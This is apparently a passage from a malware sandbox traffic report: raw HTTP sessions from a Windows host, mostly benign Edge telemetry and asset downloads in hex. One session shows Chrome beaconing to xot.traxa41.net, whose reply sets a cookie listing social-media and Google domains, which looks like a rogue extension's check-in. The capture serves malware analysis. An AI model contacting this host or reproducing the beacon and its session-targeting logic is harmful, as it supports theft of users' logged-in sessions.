117	192.168.2.4	49900	23.106.238.238	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	369	OUT	GET /ext/installed?1=1&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:26 UTC	1350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:40 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: gxid=6628213c59b94; expires=Fri, 23-Apr-2027 20:59:40 GMT; Max-Age=94608000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:40 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Img-Error: undefined
2024-04-23 21:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49906	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	1048	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906144864&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11217 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-04-23 21:02:26 UTC	11217	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 34 2e 38 36 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-04-23T21:02:24.861Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"locale
2024-04-23 21:02:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ede993ecbeb74a1e8f955f7906948dd4&HASH=ede9&LV=202404&V=4&LU=1713906146609; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=44f6c8276eb04e7d96594d259cc5a075; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1745 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49905	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	1047	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906144868&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4097 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-04-23 21:02:26 UTC	4097	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 34 2e 38 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-04-23T21:02:24.867Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"locale
2024-04-23 21:02:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=492b1595190a450ba6d8cd96259b0973&HASH=492b&LV=202404&V=4&LU=1713906146608; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3f0f098313e0442086970369860dab6f; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1740 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49910	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	601	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:27 UTC	663	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:27 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Content-MD5: DLY06IpEajvyCGoNUcMp0A== Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: "0x8DBC9B5C40EBFF4" x-ms-request-id: 135dd11c-901e-0004-01c1-959d85000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true x-azure-ref: 20240423T210226Z-16f7b4795d4hbs9nymf33py59c00000005vg000000005kqh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 59346683 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 21:02:27 UTC	15721	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: b2 19 13 6b cc 28 62 f6 d8 13 a5 64 e6 6d b1 8e c0 39 d0 3b 1d 35 ac cb 14 39 34 2c de 27 0f 25 e7 bb dc ec 8e 4d 1e 0f 36 52 62 6f 5c f3 a4 79 e4 26 bd 6c 1e f9 fd e2 1f 8d ad 73 72 b1 a6 b7 19 44 b0 85 7d 4c 10 b7 ad e2 24 9f 8b e5 22 a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c Data Ascii: k(bdm9;594,'%M6Rbo\y&lsrD}L$"8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 48 b3 23 8d 34 db 40 60 d6 45 60 49 c9 d4 bd 2e 7c 11 fb b2 a6 99 50 03 fa 25 54 f6 38 cb 53 99 1f 8f 3a eb 83 6a 5b 35 cb f3 ab 69 39 53 0b a1 22 dd ab d0 a3 8d e4 30 22 b3 5a 41 6f 44 0d 8c d6 9b eb 15 92 ab ef 54 e1 d5 35 3b 8a 08 94 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 Data Ascii: H#4@`E`I.\|P%T8S:j[5i9S"0"ZAoDT5;Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: ec dc 4e 90 a6 cb a0 fa 98 d0 04 bd 87 c0 76 a3 e3 10 e7 62 b1 45 8c d3 7f ce e6 7b 31 e3 f2 79 31 db e2 c5 79 85 08 d3 dc 48 52 f5 b6 dd ed 28 17 25 ea d4 61 9c b8 97 49 3a d3 92 94 d0 6f 22 de 01 7f 8b 0d 3f 51 42 08 7f 2e 10 03 ae dd 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 Data Ascii: NvbE{1y1yHR(%aI:o"?QB.>6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}*Z_"]ya8
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: dc 54 9d f2 45 f6 da ac 96 02 5c f4 ef 18 e5 6e 6e 6e be dc 94 19 f2 c8 dd 24 26 52 55 7e 15 d7 69 ba 35 d9 7f 05 57 f6 b2 25 bf ff 57 fd 7e ab 8b 44 67 66 ac f8 97 af 55 69 5a 0e 26 6b 72 f9 5f e5 4a 15 3a fa 16 c9 39 ff c5 fe 5f 5b 93 e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 Data Ascii: TE\nnn$&RU~i5W%W~DgfUiZ&kr_J:9_[.kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0o*j~~{
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: ae 51 d2 ce 9a 77 47 49 a9 4c 89 9a e9 a6 c3 96 5c 93 c5 1d 04 3a 52 a2 db 75 ba e8 8c ed ba cf c9 83 cf 2f c1 ab e3 19 e9 5f ea 6c 3a 06 42 6d a9 2b bb 3b 6c e6 11 e2 cc b8 40 0d 66 c4 d6 47 9d 43 48 b6 cf 17 53 19 47 4d 2f 62 63 2e b6 df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 Data Ascii: QwGIL\:Ru/_l:Bm+;l@fGCHSGM/bc.&{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: b7 bb 64 46 5f 6b 3e 56 70 91 6b 03 79 17 bb 77 52 f9 41 7a 72 cd d3 29 b6 f4 30 ff 74 bf bd 70 6d f5 bb 82 98 24 7c 05 bf f0 26 86 5f 75 44 a2 79 ef 2f 9b a0 22 f6 42 ad 43 9d ea 7a f0 ab 62 b1 c4 6b 28 af a2 bb 60 40 0c f9 6c a9 df 35 c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 Data Ascii: dF_k>VpkywRAzr)0tpm$\|&_uDy/"BCzbk(`@l5wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: d5 34 8c 8b 9e 5c d6 6f 8e 63 b4 f9 f8 32 af 1b 6f 4e 7b bf 39 eb fd e6 bc f7 9b 8b de 6f 2e ff 20 79 9f a4 d2 5f e4 26 50 20 db 05 95 17 3b 79 ef 23 8e fe 61 a0 5f 8a 03 5a f7 44 2d a1 c3 5f 26 90 90 09 18 77 ea a0 62 f3 19 53 9f c9 ea 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 Data Ascii: 4\oc2oN{9o. y_&P ;y#a_ZD-_&wbSg4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ON
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 4b 70 9d 53 75 cc ea ad 8e 38 96 db c4 ca 58 e1 f4 a0 e0 97 6a 75 f4 83 a7 56 56 e5 47 66 01 d0 88 9b 59 b2 9e 99 56 68 99 88 b5 2f e5 e4 83 4b 34 f7 19 95 75 7a 34 b5 33 5b 5f 63 75 86 c3 94 89 3d c7 cc 48 fc 4b c7 02 6c b4 ac 03 81 46 c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 Data Ascii: KpSu8XjuVVGfYVh/K4uz43[_cu=HKlFE4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm
2024-04-23 21:02:27 UTC	16384	IN	Data Raw: 2f 6f a7 5e ff 0f 71 86 02 5c 4a e4 ef 14 6f f7 2f 70 7c 26 f3 fa c6 c5 01 0c b7 df 31 f9 1b 79 fd 6d d5 1e b6 91 ba 4d 6f c4 e2 d0 88 1b cf 19 e1 5c b5 9e f5 37 3a 4a 54 b0 8c 08 40 04 eb ae 78 fd 3f 38 6a 8d c9 1b 89 67 91 52 ea 51 9c 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 Data Ascii: /o^q\Jo/p\|&1ymMo\7:JT@x?8jgRQ"}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0*"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49911	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	617	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:27 UTC	638	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:27 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Content-MD5: 2Sac1JgWnA2goeZEYMrzXg== Last-Modified: Mon, 22 Apr 2024 20:42:31 GMT ETag: "0x8DC630CBB25F161" x-ms-request-id: 4d1a49db-d01e-0008-68c1-957374000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true x-azure-ref: 20240423T210226Z-16f7b4795d4xckz44h8yg7a8u800000005h00000000095ft Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 59346683 X-Cache: TCP_MISS Accept-Ranges: bytes
